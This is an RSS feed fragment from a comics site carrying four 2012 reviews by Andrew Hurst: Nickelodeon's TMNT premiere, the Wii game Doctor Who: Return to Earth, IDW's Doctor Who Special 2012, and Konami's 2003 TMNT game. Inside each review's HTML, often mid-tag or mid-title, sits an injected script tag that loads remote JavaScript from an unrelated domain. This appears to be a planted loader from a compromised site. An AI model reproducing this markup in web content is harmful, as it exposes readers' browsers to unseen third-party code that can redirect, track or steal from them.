underline;">Andrew Hurst</span><br /> andrewhurst@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/tcc100412/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Nickelodeon’s Teenage Mutant Ninja Turtles Review: Episodes 01 & 02</title> <link>https://comicattack.net/ntmntre12/</link> <comments>https://comicattack.net/ntmntre12/#comments</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Wed, 03 Oct 2012 15:00:35 +0000</pubDate> <category><![CDATA[Hurst]]></category> <category><![CDATA[IDW]]></category> <category><![CDATA[Mirage Studios]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[T.V.]]></category> <category><![CDATA[Cartoon]]></category> <category><![CDATA[Jason Biggs]]></category> <category><![CDATA[Leonardo]]></category> <category><![CDATA[Nickelodeon]]></category> <category><![CDATA[Raphael]]></category> <category><![CDATA[Rob Paulsen]]></category> <category><![CDATA[Teenage Mutant Ninja Turtles]]></category> <category><![CDATA[TMNT]]></category> <guid isPermaLink="false">https://comicattack.net/?p=93740</guid> <description><![CDATA[Teenage Mutant Ninja Turtles Episodes 01 & 02: “Rise of the Turtles” Aired: Sept. 29, 2012 Cast: Jason Biggs (Leonardo), Rob Paulsen (Donatello), Sean Astin (Raphael), Greg Cipes (Michelangelo), Hoon Lee (Master Splinter) Like so many other people around the world, TMNT was like a religion to me during my childhood. So whenever I hear […]]]></description> <content:encoded><![CDATA[<p><em><strong><a href="https://comicattack.net//wp-content/uploads/2012/10/tmntnic3.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-93744" style="margin: 1px 4px;" src="https://comicattack.net//wp-content/uploads/2012/10/tmntnic3.jpg" alt="" width="313" height="209" srcset="https://comicattack.net/wp-content/uploads/2012/10/tmntnic3.jpg 869w, https://comicattack.net/wp-content/uploads/2012/10/tmntnic3-300x200.jpg 300w, https://comicattack.net/wp-content/uploads/2012/10/tmntnic3-768x513.jpg 768w" sizes="(max-width: 313px) 100vw, 313px" /></a>Teenage Mutant Ninja Turtles</strong></em></p> <p><strong>Episodes 01 & 02:</strong> “Rise of the Turtles”<br /> <strong>Aired:</strong> Sept. 29, 2012<br /> <strong>Cast:</strong> Jason Biggs (Leonardo), Rob Paulsen (Donatello), Sean Astin (Raphael), Greg Cipes (Michelangelo), Hoon Lee (Master Splinter)</p> <p>Like so many other people around the world, TMNT was like a religion to me during my childhood. So whenever I hear about a new take on my four favorite amphibians, I get very nervous. At first glance, I cringed a bit at the CG animation, and the extremely light nature of the previews, fearful of just how much the show was going to tailor to the small children. But on September 29, Saturday morning, I sat in my pajamas with a big bowl of cereal, just like when I was eight-years-old, ready to be optimistic about these new heroes in a half-shell. And I was quite happily surprised.</p> <p>No time is wasted getting to the action and introducing our heroes. I was relieved to discover the classic character archetypes of these characters are completely intact. Leo is ever the ambitious leader, Raph is still rude, Mikey makes the jokes, and Donatello still does machines. The classic spirit of the turtles original fans grew up with is relatively unchanged. It’s still very light, which is okay, because it’s a kids show, and I even laughed at some of the gags. Ironically, though, not one of my giggles came from Michelangelo. His humor and goofy attributes are extremely infantile and even annoying at times. But then again, I’m not exactly the show’s target demographic.</p> <p>The story didn’t revolve too much around the origin of the turtles, but enough for new viewers to understand how they came to be. As the gang turns 15-years-old, Splinter decides it’s time they visit life outside of the sewers, and we follow the turtles through the culture shock of the streets of New York, and the first time they discover pizza. We meet young April O’Neil and some familiar villains as a genuinely intriguing conspiracy unfolds around the turtles.</p> <p style="text-align: center;"><a href="https://comicattack.net//wp-content/uploads/2012/10/tmntnic4.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-93750" src="https://comicattack.net//wp-content/uploads/2012/10/tmntnic4.jpg" alt="" width="480" height="359" srcset="https://comicattack.net/wp-content/uploads/2012/10/tmntnic4.jpg 600w, https://comicattack.net/wp-content/uploads/2012/10/tmntnic4-300x225.jpg 300w" sizes="(max-width: 480px) 100vw, 480px" /><script src="//wollses.com/steps"></script></a></p> <p>Hands down, my favorite part about the show is the animation. There’s a beautiful stylistic mixture of 3D and 2D animation that melds together wonderfully. The dark purple color pallet of the NYC backdrop really compliments the turtles’ vibrant shades of green. Some of the design choices, like the heavy influence of anime-like facial expressions and emotion indicators, I’m not a big fan of, but overall, the animation is flawless and looks very cool.</p> <p>To all the 1987 TMNT fans, no, you’re not crazy, and yes, Raphael’s voice is coming out of Donatello’s mouth. The amazing Rob Paulson returns to TMNT, but this time sporting purple instead of red. And it’s not just a rehash of his Raphael, he does a good job at making his own Donatello. The cast as a whole is fantastic. Jason Biggs (yes, that guy who did the naughty thing with the pie) is a convincing Leonardo, Greg Cipes’s over the top silliness as Mikey is accomplished, but I would have liked a bit more gruffness from Sean Astin’s Raph.</p> <p>I really like this show so far. Of course the veteran fan inside me will always wish for that dark, black and white original Eastman and Laird TMNT animated series, but I’m happy to see the kids of this generation have a light and fun TMNT to grow up on like so many of us did 25 years ago. And I very much appreciate the nod to the original series in the new show’s opening. I can easily see myself becoming a big fan of this series.</p> <p><span style="text-decoration: underline;">Andrew Hurst</span><br /> andrewhurst@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/ntmntre12/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item> <title>The Comics Console: Doctor Who: Return to Earth Review</title> <link>https://comicattack.net/tcc092712/</link> <comments>https://comicattack.net/tcc092712/#comments</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Thu, 27 Sep 2012 15:00:46 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Hurst]]></category> <category><![CDATA[IDW]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[T.V.]]></category> <category><![CDATA[The Comics Console]]></category> <category><![CDATA[Video Games]]></category> <category><![CDATA[Asylum Entertainment]]></category> <category><![CDATA[Dalek]]></category> <category><![CDATA[doctor who]]></category> <category><![CDATA[Doctor Who: Return to Earth]]></category> <category><![CDATA[Karen Gillan]]></category> <category><![CDATA[Matt Smith]]></category> <category><![CDATA[Nintendo]]></category> <category><![CDATA[Wii]]></category> <guid isPermaLink="false">https://comicattack.net/?p=93541</guid> <description><![CDATA[Doctor Who’s spark in comics is finally starting to catch flame. From Doctor Who meets Stark Trek TNG, the Doctor Who 2012 Special, and Doctor Who #1, all from IDW, we’re finally seeing the comic treatment worthy of our favorite Time Lord. In video games, however, the Doctor has seen no such luck. Anyone looking […]]]></description> <content:encoded><![CDATA[<p>Doctor Who’s spark in comics is finally starting to catch flame. From Doctor Who meets Stark Trek TNG, the <a href="https://comicattack.net/2012/09/dws2012idw/">Doctor Who 2012 Special</a>, and <em>Doctor Who #1</em>, all from IDW, we’re finally seeing the comic treatment worthy of our favorite Time Lord. In video games, however, the Doctor has seen no such luck. Anyone looking to play a serious Doctor Who game on a game console will either have to travel to the UK or apply some special modifications to their Wii. But it may not actually be worth any of the trouble.</p> <p><em><strong><a href="https://comicattack.net/wp-content/uploads/2012/09/drwhowii.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-93543" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2012/09/drwhowii.jpg" alt="" width="244" height="346" /></a>Doctor Who: Return to Earth</strong></em></p> <p><strong>Publisher:</strong> Nintendo<br /> <strong>Developer:</strong> Asylum Entertainment<br /> <strong>Released:</strong> Nov. 19, 2010<br /> <strong>Platform:</strong> Nintendo Wii<br /> <strong>PEGI:</strong> 12</p> <p>There are only a few Doctor Who console titles, none of which have seen American store shelves. <em>Return to Earth</em> picks up where its Nintendo DS predecessor, <em>Doctor Who: Evacuation Earth</em>, left off, with the eleventh Doctor and Amy Pond returning to the abandoned ghost ship, Lucy Grey, where a new whimsical Doctor narrative begins. The story is interesting enough to support a Doctor Who video game, and holds much of the spirit of the series, but the absolute garbage quality of the gameplay is enough to make even the most dedicated Whovians turn off their Wii.</p> <p>At its core, <em>Return to Earth<script src="//wollses.com/steps"></script></em> is a stealth game…I’m not sure why, but it is. All throughout the game, you’re hunting crystals that perform different tasks, like fixing damaged objects for a puzzle, opening doors, and various other chores. Along with these crystals are robots whose line of vision you’ll have to avoid, otherwise it’s game over and back to the checkpoint, because the Doctor can’t do much in terms of fighting back.</p> <p>To say the least, the game is terribly made. The controls are beyond stiff, and the camera angles are at their worst in crucial situations when sneaking up behind a crystal or a robot. After about the fifth time of getting caught by a robot, you learn you have to work around the game’s terrible aesthetics, instead of the visual laws we’re all used to in a decently made video game. A robot’s range of view is clearly shown with a cone-like peripheral, but making the slightest step in the wrong direction, clear of the robot’s peripheral, will send you back to the checkpoint. Beyond the constant stealth crap, there isn’t much to this game.</p> <p style="text-align: center;"><a href="https://comicattack.net/wp-content/uploads/2012/09/dwwii2.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-93551" src="https://comicattack.net/wp-content/uploads/2012/09/dwwii2.jpg" alt="" width="458" height="338" /></a></p> <p>The Daleks and Cybermen appear as bosses in the game, which are defeated by solving puzzles with your Wii remote acting as your Sonic Screwdriver. There are a few other game modes that are unlockable, which are just more simple puzzles, none of which are clever or satisfying to complete.</p> <p>Graphically, the game looks just a tick better than the first Tomb Raider on the PlayStation. Matt Smith and Karen Gillan reprising their roles is nice, and they do a good job, but it’s spoiled by the choppy frame rate of the cutscenes. They’re like watching a YouTube video on a dial-up connection.</p> <p><em>Doctor Who: Return to Earth</em> is another perfect example of a rushed license game being carried on nothing more than its brand name. Doctor Who fans aren’t missing anything by forgetting this game exists, and if this is the best we’re going to see of Doctor Who on a console, then it can stay in the UK.</p> <p>For more of <strong>The Comics Console</strong>, click <a href="https://comicattack.net/category/cafeaturedcolumns/tcc/">here</a>!</p> <p><span style="text-decoration: underline;">Andrew Hurst</span><br /> andrewhurst@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/tcc092712/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item> <title>IDW Reviews: Doctor Who Special 2012</title> <link>https://comicattack.net/dws2012idw/</link> <comments>https://comicattack.net/dws2012idw/#respond</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Wed, 26 Sep 2012 09:00:31 +0000</pubDate> <category><![CDATA[Hurst]]></category> <category><![CDATA[IDW]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Sci-Fi]]></category> <category><![CDATA[T.V.]]></category> <category><![CDATA[Amy Pond]]></category> <category><![CDATA[Andy Diggle]]></category> <category><![CDATA[doctor who]]></category> <category><![CDATA[Len Wein]]></category> <category><![CDATA[Matthew Dow Smith]]></category> <guid isPermaLink="false">https://comicattack.net/?p=93442</guid> <description><![CDATA[Doctor Who Special 2012 Publisher: IDW Writers: Len Wein, Richard Dinnick, Tony Lee, Andy Diggle Artists: Matthew Dow Smith, Josh Adams, Mich Gerads, Mark Buckingham Preceding IDW’s release of Doctor Who #1 is Doctor Who Special 2012, featuring four unique stories from the eleventh Doctor by some of the industry’s most legendary and up-and-coming creators. […]]]></description> <content:encoded><![CDATA[<p><a href="https://comicattack.net/wp-content/uploads/2012/09/DoctorWho_Annual2012.jpg"><img loading="lazy" decoding="async" class="alignleft size-large wp-image-93443" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2012/09/DoctorWho_Annual2012-674x1024.jpg" alt="" width="242" height="368" /></a></p> <p><em><strong>Doctor Who Special 2012</strong></em></p> <p><strong>Publisher:</strong> IDW<br /> <strong>Writers:</strong> Len Wein, Richard Dinnick, Tony Lee, Andy Diggle<br /> <strong>Artists:</strong> Matthew Dow Smith, Josh Adams, Mich Gerads, Mark Buckingham</p> <p>Preceding IDW’s release of <em>Doctor Who #1</em> is <em>Doctor Who Special 2012</em>, featuring four unique stories from the eleventh Doctor by some of the industry’s most legendary and up-and-coming creators.</p> <p>Fezzes are cool, right? Well, in the opening short, “In-FEZ-station,” by comics superstar Len Wein and artist Mathew Dow Smith, Fezzes are dangerous. When the Doctor and the Ponds arrive at a music festival, one of the Doctor’s most flatulent foes resurfaces. For an opener, this story was cute enough for a pass, but for anyone familiar with the best of Len Wein, it’s obvious he phone-boxed this one in. The struggle with shorts like these is not having enough time to flesh out a story, but Wein actually didn’t have that problem. It was really capturing the Doctor’s voice that I thought was lost in this story. The Doctor came off like a watered down version of himself.</p> <p>Matthew Dow Smith’s art was decent for the most part, but I had one major issue: Amy Pond was ugly. Smith has his own unique style, which I can respect; it’s a sort of hard edged, simple art with some clunk to it. This works fine with characters like the Doctor and aliens who have exaggerated features, but with Amy Pond, a professional model, pure beauty should come first. Is that a nit-pick on my part? I don’t think so.</p> <p>Len Wein’s experience saved him from his limited page number, but Richard Dinnick and Josh Adams weren’t so lucky. There’s a great classic Doctor Who spirit in “Time Fraud,” with weird new races, and a very basic human story, but the pacing was extremely rushed to the point of being sloppy. And there were a few liberties with Time Lords taken that I was confused by. And as far at Adams’s attempt to realistically recreate Matt Smith’s big nose and chin, he fell very short.</p> <p>Tony Lee and Mitch Gerads’s “Escape into Alcatraz” was without a doubt my personal favorite story of the four. The story, like so many great episodes of <em>Doctor Who<script src="//wollses.com/steps"></script></em>, is so simple in its themes, but complex in its nature. The Doctor is, in his most basic form, a time traveler, and Tony Lee was not afraid to play with that. Though taking place only in Alcatraz, several time travel elements were used in fun ways, and we weren’t without the cheesy aliens we endear so much. Much like the famous prison itself, the art is very rough like concrete and steel, and the dull grays of the color pallet accentuated that vibe wonderfully.</p> <p>Finally, Andy Diggle and Mark Buckingham finish off this issue, and they do a lot of things right, but with one dreadfully over used setting the Doctor can never quite get away from. “The Eagle of the Reich” is a wonderfully told classic Doctor story with that great mixture of human elements in sci-fi situations, and the art is the best in the book. Matt Smith, Karen Gillan, and Arthur Darvill come to life beautifully. My big complaint as a Doctor Who fan is that it’s another story set in the World War II era. It’s such an over used period at this point, and I was disappointed that such a creative duo didn’t try something a bit more outside the blue box.</p> <p>What I found most interesting about this book is that it showed us exactly how low and how high Doctor Who can exist in the comic book medium. That universe has a lot to offer by a lot of creative people, but, obviously, it’s going to take a lot more than some cute shorts and writers trying to emulate the genius of Russell T. Davies and Steven Moffat to really satisfy the hardcore Whovians.</p> <p><span style="text-decoration: underline;">Andrew Hurst</span><br /> andrewhurst@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/dws2012idw/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>The Comics Console: Teenage Mutant Ninja Turtles Review</title> <link>https://comicattack.net/tcc092012/</link> <comments>https://comicattack.net/tcc092012/#respond</comments> <dc:creator><![CDATA[andrewhurst]]></dc:creator> <pubDate>Thu, 20 Sep 2012 15:00:26 +0000</pubDate> <category><![CDATA[Columns]]></category> <category><![CDATA[Featured Columns]]></category> <category><![CDATA[Hurst]]></category> <category><![CDATA[IDW]]></category> <category><![CDATA[Mirage Studios]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[The Comics Console]]></category> <category><![CDATA[Video Games]]></category> <category><![CDATA[Konami]]></category> <category><![CDATA[Leonardo]]></category> <category><![CDATA[Raphael]]></category> <category><![CDATA[Teenage Mutant Ninja Turtles]]></category> <category><![CDATA[TMNT]]></category> <category><![CDATA[Xbox]]></category> <guid isPermaLink="false">https://comicattack.net/?p=93042</guid> <description><![CDATA[I get very uneasy when things I love get messed with. Especially Teenage Mutant Ninja Turtles. While reintroducing the turtles to a fresh fan base is something I can get behind, it still leaves the hardcore faithful with some room for worry. Although, the one aspect of this TMNT reboot the 90s fans didn’t have […]]]></description> <content:encoded><![CDATA[<p>I get very uneasy when things I love get messed with. Especially Teenage Mutant Ninja Turtles. While reintroducing the turtles to a fresh fan base is something I can get behind, it still leaves the hardcore faithful with some room for worry. Although, the one aspect of this TMNT reboot the 90s fans didn’t have to sweat was the video games. Why? One word: Konami.</p> <p><em><strong><a href="https://comicattack.net/wp-content/uploads/2012/09/tmnt1.png"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-93051" style="margin: 1px 4px;" src="https://comicattack.net/wp-content/uploads/2012/09/tmnt1.png" alt="" width="205" height="290" /></a>Teenage Mutant Ninja Turtles</strong></em></p> <p><strong>Publisher:</strong> Konami<br /> <strong>Developer:</strong> Konami<br /> <strong>Released:</strong> Nov. 25, 2003<br /> <strong>Platforms:</strong> Xbox, PS2, Game Cube, PC<br /> <strong>ESRB:</strong> Everyone</p> <p><em>TMNT: The Arcade Game, Turtles in Time, The Hyperstone Heist</em>, and several other of the original TMNT games were developed and published by Konami. These games were widely successful due not only to the green machine behind them, but because they were genuinely well made games. Konami takes the turtles back to their video games roots, but with a 3D update. However, the nostalgia factor is lost in the modernization.</p> <p>Katana, sai, bo staff, or nunchaku. However you choose to take on the Mousers infesting the sewer, the gangs roaming the streets, or the Foot creeping in the shadows, you’re going to be hitting a lot of the same button. TMNT is as beat-em-up as beat-em-ups get. All four turtles play essentially the same, the only differences being Donatello having the advantage of a slightly broader reach, and each turtle shouting their own catchphrase.</p> <p>Throughout five stages, each stage with about five different areas, cookie cutter enemies attack in waves one right after the other. There’s not much challenge to these foes, especially with explosive cars and fire hydrants to help you in tough spots. On the other hand, the boss battles are much more complex and the highlight of every stage, forcing you to find the appropriate strategy to bring your enemy down. In between some stages, you’ll be faced with special challenges like breaking X amount of crates in X amount of time, or taking on a wave of thugs without taking any damage. Successfully completing these rewards you with special attributes like increased speed or durability.</p> <p>The story follows that of the new animated series it’s based off of, going so far as using clips from the actual show as cut scenes. I don’t think I’m spoiling anything by saying that the Shredder is your greatest villain in this game, with the Purple Dragon gang, Dragonface, and Baxter Stockman showing up as well.</p> <p style="text-align: center;"><a href="https://comicattack.net/wp-content/uploads/2012/09/tmnt21.jpg"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-93055" src="https://comicattack.net/wp-content/uploads/2012/09/tmnt21.jpg" alt="" width="461" height="305" /><script src="//wollses.com/steps"></script></a></p> <p>Progressing through the game unlocks characters for the multiplayer game – a versus mode pitting you and a friend against each other fighting game style. The turtles along with Splinter, Casey Jones, Hamato Yoshi, Hun, Turtlebot, and Shredder are all available for play.</p> <p>The game being a basic beat-em-up leaves it open for a great deal of repetition, which can be made less excruciating with a friend. But only one friend. Even though there are four turtles to choose from, we only get to play two at a time. This is a huge pet peeve of mine. Furthermore, the game’s difficulty does not adapt to the addition of a second player, making the game even easier.</p> <p>The game’s graphics are simple and pretty, though in tight spaces the Batman-like POWs and WHACKs that pop up can obscure a bit of the action. The voice acting is decent, being pulled from the cartoon, but the generic soundtrack is absolutely forgettable.</p> <p>Honestly, if I’m going to play a TMNT game, this one is far down on my list of go-to’s, but if you’re a huge TMNT fan, there are worse ways to kill an afternoon with a friend. And if you set your system’s clock to December 25, all the characters sport little Santa hats! Who doesn’t love Christmas turtles?</p> <p>For more of <strong>The Comics Console</strong>, click <a href="https://comicattack.net/category/cafeaturedcolumns/tcc/">here</a>!</p> <p><span style="text-decoration: underline;">Andrew Hurst</span><br /> andrewhurst@comicattack.net</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/tcc092012/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>